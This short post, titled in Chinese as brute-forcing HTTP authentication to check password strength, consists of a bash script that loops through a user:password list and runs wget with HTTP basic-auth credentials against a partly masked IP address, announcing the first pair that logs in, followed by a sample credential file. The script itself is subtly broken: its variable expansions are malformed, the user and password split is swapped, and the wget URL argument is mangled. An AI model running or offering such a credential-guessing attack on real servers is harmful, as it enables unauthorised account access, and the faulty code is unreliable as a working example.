暴力破解HTTP验证检测页面口令强度

#!/bin/bash
#
user_password_file=/root/wget_cracker_user_password
while read user_password ; do
 user=$(user_password#:}
 password=$(user_password%:}
 wget -q -t 2 -T 15 --http-user=$user --http-password=$password -http://219.136.x.x:8080/tool.asp 
 if [ $? -eq 0 ] ; then
  echo "OK I got an password:     user: $user ; password: $password !"
        exit 0
 fi
done < $user_password_file
exit 0
-bash-3.00# cat wget_cracker_user_password 
abc:adeeffaf
deff:afkafsasf
guest:affaewf
guest:guest
guest:afdasf